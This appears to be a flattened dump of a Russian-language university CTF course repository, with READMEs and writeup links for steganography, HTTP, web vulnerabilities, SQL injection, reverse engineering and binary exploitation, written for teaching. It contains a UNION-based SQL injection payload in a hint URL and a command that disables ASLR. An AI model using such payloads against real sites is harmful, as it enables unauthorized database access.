/02-crypto/03-hashing/slides.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/03-hashing/slides.pdf
--------------------------------------------------------------------------------
/02-crypto/04-stego/README.md:
--------------------------------------------------------------------------------
1 | Стеганография
2 | ===========
3 |
4 | ## Лекция
5 |
6 | [Презентация](https://github.com/xairy/mipt-ctf/tree/master/02-crypto/04-stego/slides.pdf)
7 |
8 | [Скринкаст](https://www.youtube.com/watch?v=HyDFElOil-I)
9 |
10 |
11 | ## Задачи
12 |
13 | Для того, чтобы скачать файлы в задачках, необходимо нажать на кнопку Raw.
14 |
15 | ### rar
16 |
17 | Добыть флаг из [изображения](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/04-stego/tasks/rar.jpg).
18 |
19 | ### exif
20 |
21 | Добыть флаг из [изображения](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/04-stego/tasks/exif.jpg).
22 |
23 | ### lsb
24 |
25 | Добыть флаг из [изображения](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/04-stego/tasks/lsb.png).
26 |
27 | ### reverse
28 |
29 | Добыть флаг из [аудио](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/04-stego/tasks/reverse.wav).
30 |
31 | ### only
32 |
33 | Добыть флаг из [изображения](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/04-stego/tasks/only.png).
34 |
35 | Подсказка: R <= 1, G <= 1, B <= 1.
36 |
37 | ### spectro
38 |
39 | Добыть флаг из [аудио](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/04-stego/tasks/spectro.wav).
40 |
41 | ### palette\*
42 |
43 | Добыть флаг из [изображения](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/04-stego/tasks/palette.png).
44 |
45 | ### filter\*
46 |
47 | Добыть флаг из [изображения](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/04-stego/tasks/filter.png).
48 |
49 | ### qr\*\*
50 |
51 | Добыть флаг из [видео](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/04-stego/tasks/qr.mp4).
52 |
53 |
54 | ## Флаги
55 |
56 | Отправлять флаги на сервер таким образом:
57 | ```
58 | $ nc andreyknvl.com 9993
59 | username taskname 73c0487d1b4c9326bc4ec5ac09bf69eb
60 | ```
61 | где username - имя для таблицы результатов, а taskname - название задачи.
62 |
63 | Доступна [таблица результатов](https://andreyknvl.com/mipt-ctf).
64 |
65 |
66 | ## Разбор задач
67 |
68 | [Разбор задач](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/04-stego/WRITEUP.md)
69 |
70 |
71 | ## Материалы
72 |
73 | [Стеганография](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%B3%D0%B0%D0%BD%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F)
74 |
75 | [EXIF](https://ru.wikipedia.org/wiki/EXIF)
76 |
77 | [PNG](https://en.wikipedia.org/wiki/Portable_Network_Graphics)
78 |
79 | [JPEG](https://en.wikipedia.org/wiki/JPEG)
80 |
81 | [Стеганография. Скрытие информации в изображениях](http://xain.hackerdom.ru/zine/online/issue0/Steganography.html)
82 |
83 | [Общие проверки для BMP/PNG/JMP и других](http://kmb.ufoctf.ru/stego/pic_stego/main.html)
84 |
85 | [Stegsolve](http://kmb.ufoctf.ru/stego/stegsolve/main.html)
86 |
--------------------------------------------------------------------------------
/02-crypto/04-stego/WRITEUP.md:
--------------------------------------------------------------------------------
1 | Разбор [задачек по стеганографии](https://github.com/xairy/mipt-ctf/tree/master/02-crypto/04-stego).
2 |
3 | ## rar
4 |
5 | В этой задачке нужно распаковать спрятанный в картинку архив, как я показывал на лекции.
6 | Например с помощью утилиты `unrar` под Linux.
7 |
8 | ## exif
9 |
10 | В этой задачке нужно внимательно посмотреть на EXIF метаданные картинки.
11 | Например с помощью утилиты `exiftool` или с помощью какого-нибудь веб сервиса.
12 |
13 | ## lsb
14 |
15 | В этой задачке проще всего было воспользоваться утилитой [Stegsolve](http://kmb.ctftool.cf/stegsolve/stegsolve.html).
16 | На любом из нулевых каналов можно будет прочитать флаг.
17 |
18 | ## reverse
19 |
20 | https://shankaraman.wordpress.com/2014/10/19/ectf-2014-forensics-100-we-hate-engineering-writeup/
21 |
22 | ## only
23 |
24 | https://h34dump.com/2013/05/baltctf-quals-2013-konigstor-stego300/
25 |
26 | ## palette
27 |
28 | https://fail0verflow.com/blog/2014/plaidctf2014-for100-doge_stege.html
29 |
30 | ## filter
31 |
32 | https://github.com/ctfs/write-ups-2015/blob/master/confidence-ctf-teaser-2015/stegano/a-png-tale-200/README.md
33 |
34 | ## qr
35 |
36 | http://blog.dragonsector.pl/2013/09/asis-ctf-finals-2013-windows-stegano-106.html
37 |
--------------------------------------------------------------------------------
/02-crypto/04-stego/examples/cat-lsb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/examples/cat-lsb.png
--------------------------------------------------------------------------------
/02-crypto/04-stego/examples/cat-rar.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/examples/cat-rar.jpg
--------------------------------------------------------------------------------
/02-crypto/04-stego/examples/cat.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/examples/cat.png
--------------------------------------------------------------------------------
/02-crypto/04-stego/slides.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/slides.pdf
--------------------------------------------------------------------------------
/02-crypto/04-stego/tasks/exif.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/tasks/exif.jpg
--------------------------------------------------------------------------------
/02-crypto/04-stego/tasks/filter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/tasks/filter.png
--------------------------------------------------------------------------------
/02-crypto/04-stego/tasks/lsb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/tasks/lsb.png
--------------------------------------------------------------------------------
/02-crypto/04-stego/tasks/only.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/tasks/only.png
--------------------------------------------------------------------------------
/02-crypto/04-stego/tasks/palette.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/tasks/palette.png
--------------------------------------------------------------------------------
/02-crypto/04-stego/tasks/qr.mp4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/tasks/qr.mp4
--------------------------------------------------------------------------------
/02-crypto/04-stego/tasks/rar.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/tasks/rar.jpg
--------------------------------------------------------------------------------
/02-crypto/04-stego/tasks/reverse.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/tasks/reverse.wav
--------------------------------------------------------------------------------
/02-crypto/04-stego/tasks/spectro.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/04-stego/tasks/spectro.wav
--------------------------------------------------------------------------------
/03-web/01-http/README.md:
--------------------------------------------------------------------------------
1 | HTTP
2 | ====
3 |
4 | ## Лекция
5 |
6 | [Презентация](https://github.com/xairy/mipt-ctf/tree/master/03-web/01-http/slides.pdf)
7 |
8 | [Скринкаст](https://www.youtube.com/watch?v=rHKRivpG3uI)
9 |
10 |
11 | ## Задачи
12 |
13 | [Wargame по вебу](http://overthewire.org/wargames/natas/).
14 | Начнем решать на занятии.
15 |
16 |
17 | ## Дополнительные задачи
18 |
19 | Еще задачки, если вдруг wargame наскучит или покажется слишком сложным.
20 |
21 | Задачки взяты с [CanYouHack.It](http://canyouhack.it/) и [picoCTF 2014](https://picoctf.com/).
22 |
23 | В задачках без условия нужно тем или иным образом добыть спрятанный на сайте флаг.
24 |
25 | ### simple
26 |
27 | http://canyouhack.it/Content/Challenges/Web/Web1.php?Page=Guest
28 |
29 | ### cookie
30 |
31 | http://canyouhack.it/Content/Challenges/Web/Web2.php
32 |
33 | ### invasion
34 |
35 | http://canyouhack.it/Content/Challenges/Web/Web3.php
36 |
37 | ### google
38 |
39 | http://canyouhack.it/Content/Challenges/Web/Web4.php
40 |
41 | ### toaster
42 |
43 | Daedalus Corp. uses a [web interface](http://web2014.picoctf.com/toaster-control-1040194/) to control some of their toaster bots. It looks like they removed the command 'Shutdown & Turn Off' from the control panel. Maybe the functionality is still there...
44 |
45 | ### inspection\*
46 |
47 | _Эту задачку можно решать, но сдать не получится._
48 |
49 | On his computer, your father left open a browser with the [Thyrin Lab Website](https://picoctf.com/api/autogen/serve/index.html?static=false&pid=28baa70afa1967ff63b201f687b7533e). Can you find the hidden access code?
50 |
51 | ### listed\*
52 |
53 | http://canyouhack.it/Content/Challenges/Web/Web6.php
54 |
55 |
56 | ## Флаги
57 |
58 | Отправлять флаги на сервер таким образом:
59 | ```
60 | $ nc andreyknvl.com 9992
61 | username taskname 73c0487d1b4c9326bc4ec5ac09bf69eb
62 | ```
63 | где username - имя для таблицы результатов, а taskname - название задачи.
64 |
65 | Доступна [таблица результатов](https://andreyknvl.com/mipt-ctf).
66 |
67 |
68 | ## Дополнительные задачи 2
69 |
70 | http://canyouhack.it/
71 |
72 | http://ahack.ru/contest/
73 |
74 | http://securityoverride.org/
75 |
76 | ## Материалы
77 |
78 | [Сетевая модель OSI](https://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D1%82%D0%B5%D0%B2%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C_OSI)
79 |
80 | [IP](https://ru.wikipedia.org/wiki/IP)
81 |
82 | [TCP](https://ru.wikipedia.org/wiki/TCP)
83 |
84 | [UDP](https://ru.wikipedia.org/wiki/UDP)
85 |
86 | [Порт](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%80%D1%82_(%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D0%B5_%D1%81%D0%B5%D1%82%D0%B8))
87 |
88 | [Стек TCP/IP](https://ru.wikipedia.org/wiki/TCP/IP)
89 |
90 | [HTTP](https://ru.wikipedia.org/wiki/HTTP)
91 |
92 | [URL](https://en.wikipedia.org/wiki/Uniform_Resource_Locator)
93 |
94 | [URL encoding](https://en.wikipedia.org/wiki/Percent-encoding)
95 |
96 | [DNS](https://ru.wikipedia.org/wiki/DNS)
97 |
98 | [Коды состояния HTTP](https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BA%D0%BE%D0%B4%D0%BE%D0%B2_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F_HTTP)
99 |
100 | [Заголовки HTTP](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%B3%D0%BE%D0%BB%D0%BE%D0%B2%D0%BA%D0%B8_HTTP)
101 |
102 | [Basic access authentication](https://en.wikipedia.org/wiki/Basic_access_authentication)
103 |
104 | [Digest access authentication](https://en.wikipedia.org/wiki/Digest_access_authentication)
105 |
106 | [HTTP cookie](https://ru.wikipedia.org/wiki/HTTP_cookie)
107 |
108 | [Session hijacking](https://en.wikipedia.org/wiki/Session_hijacking)
109 |
110 | [HTML](https://ru.wikipedia.org/wiki/HTML)
111 |
--------------------------------------------------------------------------------
/03-web/01-http/slides.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/03-web/01-http/slides.pdf
--------------------------------------------------------------------------------
/03-web/02-vulns/README.md:
--------------------------------------------------------------------------------
1 | Веб уязвимости
2 | ==============
3 |
4 | ## Лекция
5 |
6 | [Презентация](https://github.com/xairy/mipt-ctf/tree/master/03-web/02-vulns/slides.pdf)
7 |
8 | [Скринкаст](https://www.youtube.com/watch?v=INtQ2vmhoQI)
9 |
10 | ## Задачи
11 |
12 | Продолжаем [wargame по вебу](http://overthewire.org/wargames/natas/).
13 |
14 |
15 | ## Дополнительные задачи
16 |
17 | ### xss
18 |
19 | [XXS game by Google](https://xss-game.appspot.com/).
20 |
21 | ### xss1
22 |
23 | http://securityoverride.org/challenges/basic/14/
24 |
25 | Флагом является первое\_второе\_и\_третье\_слово в тексте, который показывается после решения задачки.
26 |
27 | ### xss2
28 |
29 | The bad guys have hidden their access codes on an [anonymous secure page service](http://sps.picoctf.com/). Our intelligence tells us that the codes was posted on a page with id 43440b22864b30a0098f034eaf940730ca211a55, but unfortunately it's protected by a password, and only site moderators can view the post without the password. Can you help us recover the codes?
30 |
31 | ### fpd
32 |
33 | The flag is the full local path of the file.
34 |
35 | http://canyouhack.it/Content/Challenges/Web/Web8.php?Page=Home
36 |
37 | ### wargames
38 |
39 | http://canyouhack.it/
40 |
41 | http://ahack.ru/contest/
42 |
43 | http://securityoverride.org/
44 |
45 |
46 | ## Материалы
47 |
48 | [OWASP Top 10](https://www.owasp.org/index.php/Top_10_2013-Top_10)
49 |
50 | [Injection Attacks](https://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html)
51 |
52 | [Excess XSS](http://excess-xss.com/)
53 |
54 | [The Bug Hunters Methodology](https://github.com/jhaddix/tbhm)
55 |
56 | Искать "OWASP <тип уязвимости>" в Google.
57 |
--------------------------------------------------------------------------------
/03-web/02-vulns/slides.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/03-web/02-vulns/slides.pdf
--------------------------------------------------------------------------------
/03-web/03-sqli/README.md:
--------------------------------------------------------------------------------
1 | SQL инъекции
2 | ============
3 |
4 | ## Лекция
5 |
6 | [Презентация](https://github.com/xairy/mipt-ctf/tree/master/03-web/03-sqli/slides.pdf)
7 |
8 | [Скринкаст](https://www.youtube.com/watch?v=vwHyycHIYrY)
9 |
10 |
11 | ## Задачи
12 |
13 | В задачках без условия нужно тем или иным образом добыть спрятанный на сайте флаг.
14 |
15 | ### sql1
16 |
17 | http://web2014.picoctf.com/injection1/
18 |
19 | ### sql2
20 |
21 | https://2013.picoctf.com/problems/php3/
22 |
23 | ### sql3
24 |
25 | http://web2014.picoctf.com/injection3/
26 |
27 | [Hint 1.](http://web2014.picoctf.com/injection3/lookup_user.php?id=1)
28 |
29 | [Hint 2.](http://web2014.picoctf.com/injection3/lookup_user.php?id=0 UNION SELECT 1,2,3,4,5,6,7 --)
30 |
31 | [Hint 3.](http://www.mssqltips.com/sqlservertutorial/196/informationschematables/)
32 |
33 | ### sql4
34 |
35 | http://web2014.picoctf.com/injection4/
36 |
37 | [Hint 1.](http://web2014.picoctf.com/injection4/register.phps)
38 |
39 | [Hint 2.] (http://www.w3schools.com/sql/sql_like.asp)
40 |
41 | ### sql5
42 |
43 | https://2013.picoctf.com/problems/php4/
44 |
45 | ### sql6
46 |
47 | https://wildwildweb.fluxfingers.net:1424/
48 |
49 | https://wildwildweb.fluxfingers.net:1424/index.phps
50 |
51 |
52 |
53 | ## Флаги
54 |
55 | Отправлять флаги на сервер таким образом:
56 | ```
57 | $ nc andreyknvl.com 9990
58 | username taskname 73c0487d1b4c9326bc4ec5ac09bf69eb
59 | ```
60 | где username - имя для таблицы результатов, а taskname - название задачи.
61 |
62 | Доступна [таблица результатов](https://andreyknvl.com/mipt-ctf).
63 |
64 |
65 | ## Разбор задач
66 |
67 | [Разбор задач](https://github.com/xairy/mipt-ctf/blob/master/03-web/03-sqli/WRITEUP.md)
68 |
69 |
70 | ## Дополнительные задачи
71 |
72 | https://picoctf.com/problems
73 |
74 | http://canyouhack.it/
75 |
76 | http://securityoverride.org/challenges/
77 |
78 |
79 | ## Материалы
80 |
81 | [Presentation on SQL injections by h34dump](https://docs.google.com/presentation/d/1Vks9AO7bA9OaABLBzyjNN0Z6wNKP_92JUoW28rYYAFY/edit#slide=id.p)
82 |
83 | [SQL Injection от А до Я](http://www.ptsecurity.ru/download/PT-devteev-Advanced-SQL-Injection.pdf)
84 |
85 | [Stacked queries](http://www.sqlinjection.net/stacked-queries/)
86 |
87 | [Tactical Fuzzing - SQLi](https://github.com/jhaddix/tbhm/blob/master/6_SQLi.markdown)
88 |
89 | [sqlmap](https://github.com/sqlmapproject/sqlmap)
90 |
--------------------------------------------------------------------------------
/03-web/03-sqli/WRITEUP.md:
--------------------------------------------------------------------------------
1 | Разбор [задачек по SQL инъекциям](https://github.com/xairy/mipt-ctf/tree/master/03-web/03-sqli).
2 |
3 | ### sql1
4 |
5 | https://ehsandev.com/pico2014/web_exploitation/injection_1.html
6 |
7 | ### sql2
8 |
9 | https://github.com/elc1798/stuyfyre-picoctf-2013/blob/master/PHP3-120/Solution.txt
10 |
11 | ### sql3
12 |
13 | http://www.wilsonzhao.com/problem%20set/2014/11/01/mysql-injection-3/
14 |
15 | ### sql4
16 |
17 | https://ehsandev.com/pico2014/web_exploitation/injection_4.html
18 |
19 | ### sql5
20 |
21 | http://sturzu.org/2013/05/07/picoctf-writeup-php4-110
22 |
23 | ### sql6
24 |
25 | https://ctfwriteups.wordpress.com/2014/10/24/hack-lu-ctf-2014-web-200-killy-the-bit/
26 |
--------------------------------------------------------------------------------
/03-web/03-sqli/slides.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/03-web/03-sqli/slides.pdf
--------------------------------------------------------------------------------
/03-web/README.md:
--------------------------------------------------------------------------------
1 | ## Старые слайды 2014-2015
2 |
3 | Часть 1:
4 | [online](https://docs.google.com/presentation/d/1Zcc4av7v9B3ZGEShVkaVYCBy-NGMxFkN-6f2gbr_uCU/edit?usp=sharing).
5 |
6 | Часть 2:
7 | [online](https://docs.google.com/presentation/d/1yyzmHGmIHnEbWAK33q89TD6w77rNeeXTyEczSemNuT8/edit?usp=sharing),
8 | [screencast](https://www.youtube.com/watch?v=BTk9w6G1KVg).
9 |
10 | Часть 3:
11 | [online](https://docs.google.com/presentation/d/1mh5VSc6VC_kIQgN7QKojpVsWbJJrUHyxPg_OYrr9QVg/edit?usp=sharing).
12 |
--------------------------------------------------------------------------------
/04-binary/01-asm/README.md:
--------------------------------------------------------------------------------
1 | Ассемблер
2 | =========
3 |
4 | ## Материалы
5 |
6 | http://www.cs.virginia.edu/~evans/cs216/guides/x86.html
7 |
8 | http://www.imada.sdu.dk/Courses/DM18/Litteratur/IntelnATT.htm
9 |
10 | http://www.ibiblio.org/gferg/ldp/GCC-Inline-Assembly-HOWTO.html
11 |
12 | https://en.wikibooks.org/wiki/X86_Assembly/Floating_Point
13 |
14 | http://cs.lmu.edu/~ray/notes/nasmtutorial/
15 |
16 | http://acm.mipt.ru/twiki/bin/view/Asm/WebHome
17 |
18 | http://acm.mipt.ru/twiki/pub/Asm/WebHome/assembler.pdf
19 |
20 | ftp://mipt.cc/Opcode.txt
21 |
22 | http://acm.mipt.ru/twiki/pub/Asm/NasmIntro/nasm.zip
23 |
24 |
25 | ## Задачи
26 |
27 | Задачи представлены в виде контестов.
28 | Чтобы получить к ним доступ, нужно зарегистрироваться [здесь](http://kpm8.mipt.ru:8205/cgi-bin/new-register?action=207&contest_id=400102&locale_id=1).
29 |
30 | [Контест 1](http://kpm8.mipt.ru:8205/cgi-bin/new-client?contest_id=400204): задачи по AT&T синтаксису.
31 |
32 | [Контест 2](http://kpm8.mipt.ru:8205/cgi-bin/new-client?contest_id=400205): задачи по Intel синтаксису.
33 |
34 | [Контест 3](http://kpm8.mipt.ru:8205/cgi-bin/new-client?contest_id=400206).
35 |
36 | [Контест 4](http://kpm8.mipt.ru:8205/cgi-bin/new-client?contest_id=400207).
37 |
38 | [Контест 5](http://kpm8.mipt.ru:8205/cgi-bin/new-client?contest_id=400208).
39 |
--------------------------------------------------------------------------------
/04-binary/02-reverse/README.md:
--------------------------------------------------------------------------------
1 | Reverse
2 | =======
3 |
4 | ## Лекция
5 |
6 | [Презентация](https://github.com/xairy/mipt-ctf/blob/master/04-binary/02-reverse/slides.pdf)
7 |
8 | [Скринкаст](https://www.youtube.com/watch?v=1SjCraZ1l2Q)
9 |
10 |
11 | ## Практика
12 |
13 | В задачкам необходимо зареверсить бинарник и добыть спрятанный в нем флаг.
14 |
15 | ### flip
16 |
17 | [flip](https://github.com/xairy/mipt-ctf/blob/master/04-binary/02-reverse/tasks/flip)
18 |
19 | ### endian
20 |
21 | [endian](https://github.com/xairy/mipt-ctf/blob/master/04-binary/02-reverse/tasks/endian)
22 |
23 | ### haxor
24 |
25 | [haxor](https://github.com/xairy/mipt-ctf/blob/master/04-binary/02-reverse/tasks/haxor)
26 |
27 | ### dmd
28 |
29 | [dmd](https://github.com/xairy/mipt-ctf/blob/master/04-binary/02-reverse/tasks/dmd)
30 |
31 | ### filechecker
32 |
33 | [filechecker](https://github.com/xairy/mipt-ctf/blob/master/04-binary/02-reverse/tasks/filechecker)
34 |
35 | ### putskey
36 |
37 | [putskey](https://github.com/xairy/mipt-ctf/blob/master/04-binary/02-reverse/tasks/putskey)
38 |
39 | [log.txt](https://github.com/xairy/mipt-ctf/blob/master/04-binary/02-reverse/tasks/log.txt)
40 |
41 |
42 |
43 | ## Флаги
44 |
45 | Отправлять флаги на сервер таким образом:
46 | ```
47 | $ nc andreyknvl.com 9989
48 | username taskname 73c0487d1b4c9326bc4ec5ac09bf69eb
49 | ```
50 | где username - имя для таблицы результатов, а taskname - название задачи.
51 |
52 | Доступна [таблица результатов](https://andreyknvl.com/mipt-ctf).
53 |
54 |
55 | ## Разбор задач
56 |
57 | [Разбор задач](https://github.com/xairy/mipt-ctf/blob/master/04-binary/02-reverse/WRITEUP.md)
58 |
59 |
60 | ## Материалы
61 |
62 | TODO
63 |
64 | [The Art Of ELF: Analysis and Exploitations](http://fluxius.handgrep.se/2011/10/20/the-art-of-elf-analysises-and-exploitations/)
65 |
66 | [Executable and Linkable Format](https://github.com/0xAX/linux-insides/blob/master/Theory/ELF.md)
67 |
68 | [Linux x86 Program Start Up](http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html)
69 |
--------------------------------------------------------------------------------
/04-binary/02-reverse/WRITEUP.md:
--------------------------------------------------------------------------------
1 | Разбор [задачек по reverse](https://github.com/xairy/mipt-ctf/tree/master/03-binary/02-reverse).
2 |
3 | ## flip
4 |
5 | https://github.com/xairy/mipt-ctf/blob/master/01-intro/01-bash/WRITEUP.md#flip
6 |
7 | ## endian
8 |
9 | http://blog.oleaass.com/writeups/angstrom-ctf-2016-endian-of-the-world/
10 |
11 | ## haxor
12 |
13 | https://github.com/HackThisCode/CTF-Writeups/tree/master/2016/SCTF/rev1
14 |
15 | ## dmd
16 |
17 | https://github.com/p4-team/ctf/tree/master/2016-02-05-sharif/re_50_dmd
18 |
19 | ## filechecker
20 |
21 | https://github.com/raccoons-team/ctf/tree/master/2016-02-20-internetwache-ctf/re60
22 |
23 | ## putskey
24 |
25 | https://pony7.fr/ctf:public:seccon:gdb-remote-debugging
26 |
--------------------------------------------------------------------------------
/04-binary/02-reverse/example/example.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | void if_demo() {
4 | int x = 1337;
5 |
6 | if (x == 42) {
7 | printf("x == 42\n");
8 | } else {
9 | printf("x == %d\n", 1337);
10 | }
11 | }
12 |
13 | int for_demo() {
14 | int i;
15 | int x = 0;
16 |
17 | for (i = 0; i < 10; i++) {
18 | x += i;
19 | }
20 |
21 | return x;
22 | }
23 |
24 | int switch_demo() {
25 | int x = 42;
26 |
27 | switch (x) {
28 | case 0:
29 | puts("Zero!\n");
30 | break;
31 | case 1:
32 | puts("One!\n");
33 | break;
34 | case 2:
35 | puts("Two!\n");
36 | break;
37 | case 3:
38 | puts("Three!\n");
39 | break;
40 | case 4:
41 | puts("Four!\n");
42 | break;
43 | case 5:
44 | puts("Five!\n");
45 | break;
46 | case 6:
47 | puts("Six!\n");
48 | break;
49 | case 7:
50 | puts("Seven!\n");
51 | break;
52 | }
53 | }
54 |
55 | int main() {
56 | if_demo();
57 | for_demo();
58 | switch_demo();
59 | return 0;
60 | }
61 |
--------------------------------------------------------------------------------
/04-binary/02-reverse/example/example32:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/02-reverse/example/example32
--------------------------------------------------------------------------------
/04-binary/02-reverse/example/example64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/02-reverse/example/example64
--------------------------------------------------------------------------------
/04-binary/02-reverse/slides.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/02-reverse/slides.pdf
--------------------------------------------------------------------------------
/04-binary/02-reverse/tasks/dmd:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/02-reverse/tasks/dmd
--------------------------------------------------------------------------------
/04-binary/02-reverse/tasks/endian:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/02-reverse/tasks/endian
--------------------------------------------------------------------------------
/04-binary/02-reverse/tasks/filechecker:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/02-reverse/tasks/filechecker
--------------------------------------------------------------------------------
/04-binary/02-reverse/tasks/flip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/02-reverse/tasks/flip
--------------------------------------------------------------------------------
/04-binary/02-reverse/tasks/haxor:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/02-reverse/tasks/haxor
--------------------------------------------------------------------------------
/04-binary/02-reverse/tasks/putskey:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/04-binary/02-reverse/tasks/putskey
--------------------------------------------------------------------------------
/04-binary/03-exploits/README.md:
--------------------------------------------------------------------------------
1 | Бинарные эксплоиты
2 | ==================
3 |
4 | ## Лекция
5 |
6 | К сожалению, скринкаста нет. :(
7 |
8 | Читайте статьи ниже.
9 |
10 |
11 | ## Материалы
12 |
13 | [A brief introduction to x86 calling conventions](http://codearcana.com/posts/2013/05/21/a-brief-introduction-to-x86-calling-conventions.html)
14 |
15 | [Introduction to return oriented programming (ROP)](http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html)
16 |
17 | [Introduction to format string exploits](http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html)
18 |
19 | [Shellcodes database](http://shell-storm.org/shellcode/)
20 |
21 | [PLT and GOT - the key to code sharing and dynamic libraries](https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html)
22 |
23 |
24 | ## ASLR
25 |
26 | Перед решением задачек нужно выключить [ASLR](https://en.wikipedia.org/wiki/Address_space_layout_randomization):
27 | ```
28 | echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
29 | ```
30 |
31 | Чтобы его включить обратно:
32 | ```
33 | echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
34 | ```
35 |
36 |
37 | ## Задачи
38 |
39 | Задачи взяты с [picoCTF 2013](https://2013.picoctf.com).
40 | Кто там зарегистрирован, можете решать задачки на их серверах.
41 | Кто нет, можете зарегистрироваться, но для того, чтобы открылись все задачки, нужно сначала прорешать несколько первых.
42 |
43 | В каждой задаче нужно найти уязвимость и с ее помощью запустить шелл.
44 |
45 | ### overflow1
46 |
47 | [Исходник](https://2013.picoctf.com/problems/overflow1-3948d17028101c40.c),
48 | [бинарник](https://2013.picoctf.com/problems/overflow1-3948d17028101c40).
49 |
50 | ### overflow2
51 |
52 | [Исходник](https://2013.picoctf.com/problems/overflow2-44e63640e033ff2b.c),
53 | [бинарник](https://2013.picoctf.com/problems/overflow2-44e63640e033ff2b).
54 |
55 | ### overflow3
56 |
57 | [Исходник](https://2013.picoctf.com/problems/overflow3-28d8a442fb232c0c.c),
58 | [бинарник](https://2013.picoctf.com/problems/overflow3-28d8a442fb232c0c).
59 |
60 | ### overflow4
61 |
62 | [Исходник](https://2013.picoctf.com/problems/overflow4-4834efeff17abdfb.c),
63 | [бинарник](https://2013.picoctf.com/problems/overflow4-4834efeff17abdfb).
64 |
65 | ### rop1
66 |
